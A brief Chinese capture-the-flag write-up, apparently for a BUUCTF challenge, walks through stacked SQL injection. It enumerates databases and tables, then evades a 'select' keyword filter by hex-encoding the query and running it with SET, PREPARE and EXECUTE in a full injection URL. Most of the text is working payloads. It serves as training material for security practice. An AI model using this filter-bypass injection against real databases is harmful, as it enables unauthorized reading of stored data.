由題目提示知道,這題需要進行sql注入
輸入1'發現報錯
再輸入1';show batabases#出現了一大堆數據庫
再輸入1';show tables#出現了兩個表
猜測flag在這2個表中,輸入1';show create table `1919810931114514`;嘗試打開表1,發現
因為select被過濾了,所以先將select * from `1919810931114514`進行16進制編碼
再通過構造payload,得http://677a0eb4-6c6d-4514-b3bb-eacb38a3a347.node1.buuoj.cn?inject=1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
進而得到flag